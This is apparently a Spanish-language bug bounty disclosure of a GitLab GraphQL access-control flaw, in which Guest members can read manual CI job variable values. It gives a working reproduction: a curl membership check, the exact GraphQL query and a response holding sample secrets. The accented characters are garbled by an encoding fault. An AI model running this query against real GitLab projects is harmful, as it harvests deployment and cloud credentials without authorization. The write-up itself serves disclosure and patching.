๐ Fecha del reporte: 29 de marzo de 2026 ย |ย Plataforma: GitLab ย |ย Severidad: Alta
Resumen del Hallazgo
Durante una sesiรณn de bug bounty en GitLab, descubrรญ que la plataforma expone en texto plano los valores de variables de CI/CD definidas al ejecutar trabajos manuales. Cualquier miembro del proyecto, incluyendo usuarios con rol Guest, puede acceder a estos valores a travรฉs del campo GraphQL CiJob.manualVariables { value }.
Esto bypasa completamente el chequeo de permiso read_pipeline_variable que sรญ estรก correctamente aplicado al endpoint paralelo de variables manuales a nivel de pipeline.
Flujo del Ataque
El siguiente diagrama ilustra cรณmo un atacante con rol Guest puede extraer secretos de infraestructura con una รบnica peticiรณn HTTP. No se requiere fuerza bruta, condiciรณn de carrera ni herramienta especial.

Pasos para Reproducir
Precondiciรณn: El atacante tiene membresรญa Guest en un proyecto GitLab privado. Un Maintainer o Owner ejecutรณ previamente un trabajo CI manual pasando variables personalizadas.
Paso 1 โ Verificar membresรญa Guest
El atacante ya conoce el path del proyecto porque es miembro. Puede confirmar su nivel de acceso con:
# Prerequisite check - verify Guest membership
TARGET="https://gitlab.target.com"
PROJECT_PATH="owner/project"
GUEST_TOKEN="glpat-xxxxxxxxxxxxxxxxxxxx"
curl -s --header "PRIVATE-TOKEN: $GUEST_TOKEN" \
"$TARGET/api/v4/projects/owner%2Fproject/members/all/self" \
| python3 -m json.tool | grep access_level
# Expected output: "access_level": 10 (10 = Guest)Paso 2 โ Consultar variables manuales vรญa GraphQL
Con un simple POST al endpoint GraphQL, el atacante solicita las variables del trabajo manual:
POST /api/graphql HTTP/1.1
Host: gitlab.target.com
PRIVATE-TOKEN: glpat-<guest-token>
Content-Type: application/json
{
"query": "{ project(fullPath: \"owner/project\") { jobs { nodes { name manualJob manualVariables { nodes { key value } } } } } }"
}HTTPPaso 3 โ Recibir los secretos en texto plano
La respuesta del servidor devuelve los valores directamente, sin ofuscaciรณn ni restricciรณn:
HTTP/1.1 200 OK
Content-Type: application/json
{
"data": {
"project": {
"jobs": {
"nodes": [
{
"name": "manual-deploy",
"manualJob": true,
"manualVariables": {
"nodes": [
{ "key": "DEPLOY_ENV", "value": "production" },
{ "key": "DEPLOY_SECRET_KEY", "value": "ultra-secret-deploy-key-xyz789" },
{ "key": "AWS_SECRET_ACCESS_KEY", "value": "wJalrXUtnFEMI/K7MDENG/..." }
]
}
}
]
}
}
}
}JSON4.2 Contraste: Variables a Nivel de Pipeline (Correctamente Protegidas)
El mismo usuario Guest consultando variables manuales a nivel de pipeline recibe null en el campo value, demostrando que la protecciรณn existe pero NO fue aplicada al objeto CiJob:
POST /api/graphql HTTP/1.1
PRIVATE-TOKEN: glpat-<guest-token>
Content-Type: application/json
{
"query": "{ project(fullPath: \"owner/project\") { pipelines { nodes { manualVariables { nodes { key value } } } } } }"
}HTTPRespuesta del servidor:
{
"nodes": [
{ "key": "PIPELINE_SECRET", "value": null }
]
}JSONInformaciรณn del Entorno
GitLab Version: 18.10.1 ย |ย Ruby: 3.3.10 ย |ย PostgreSQL: 16.11 ย |ย Redis: 7.2.11 ย |ย GitLab Shell: 14.47.0 ย |ย Gitaly: 18.10.1
Impacto
Las variables definidas al ejecutar trabajos CI manuales frecuentemente contienen: claves de acceso y secretos de AWS/GCP/Azure, claves privadas SSH para acceso a servidores, credenciales de clรบsteres Kubernetes, contraseรฑas de bases de datos para entornos especรญficos, y tokens de despliegue para registros de paquetes.

Un Guest que obtenga estos valores puede autenticarse directamente contra la infraestructura objetivo, bypasando completamente las restricciones de rol de GitLab. El impacto no se limita a divulgaciรณn de informaciรณn โ dependiendo del contenido de las variables, es alcanzable un compromiso total de la infraestructura.
Conclusiรณn
Este hallazgo demuestra la importancia de aplicar controles de acceso de forma consistente en todas las capas de la API. Si administras proyectos GitLab con jobs manuales que reciben variables sensibles, actualiza a una versiรณn parcheada cuanto antes.
๐ Regla de oro: Nunca asumas que un campo de API estรก protegido solo porque su equivalente en otro endpoint lo estรก. Siempre verifica los controles de acceso a nivel de cada resolver.
